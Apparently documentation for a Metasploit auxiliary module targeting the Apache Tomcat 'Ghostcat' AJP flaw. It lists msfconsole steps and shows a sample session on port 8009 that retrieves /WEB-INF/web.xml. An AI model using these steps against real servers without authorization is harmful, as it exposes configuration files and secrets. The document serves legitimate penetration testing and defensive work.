metasploit-gs/documentation/modules/auxiliary/admin/http/tomcat_ghostcat.md

Vulnerable Application

This module can be used to retrieve arbitrary files from anywhere in the web application, including the WEB-INF and META-INF directories and any other location that can be reached via ServletContext.getResourceAsStream() on Apache Tomcat servers. It also allows the attacker to process any file in the web application as JSP.

Verification Steps

1. Install the application and start it
2. Start msfconsole
3. Do: auxiliary/admin/http/tomcat_ghostcat
4. Do: set rhosts [ip]
5. Do: set rport
6. Do: set FILENAME
7. Do: run

Options

Scenarios

Apache Tomcat on Windows 10.0.16299.125

[*] Processing tomcat_ghostcat.rb for ERB directives.
resource (tomcat_ghostcat.rb)> use auxiliary/admin/http/tomcat_ghostcat
resource (tomcat_ghostcat.rb)> set rport 8009
rport => 8009
resource (tomcat_ghostcat.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (tomcat_ghostcat.rb)> set verbose true
verbose => true
resource (tomcat_ghostcat.rb)> set FILENAME /WEB-INF/web.xml
filename => /WEB-INF/web.xml

resource (tomcat_ghostcat.rb)> run
[*] Running module against 127.0.0.1
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Copyright 2017 The MIT Internet Trust Consortium
 
  Portions copyright 2011-2013 The MITRE Corporation
 
  Licensed under the Apache License, Version 2.0 (the "License");
  you may not use this file except in compliance with the License.
  You may obtain a copy of the License at
 
    http://www.apache.org/licenses/LICENSE-2.0
 
  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->  
 
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 

xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee 
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd">

version = "4.0"
metadata-complete="true">

<display-name> Welcome to Tomcat </display-name>
<description>
Welcome to Tomcat 
</description>

<web-app>
[*] Auxiliary module execution completed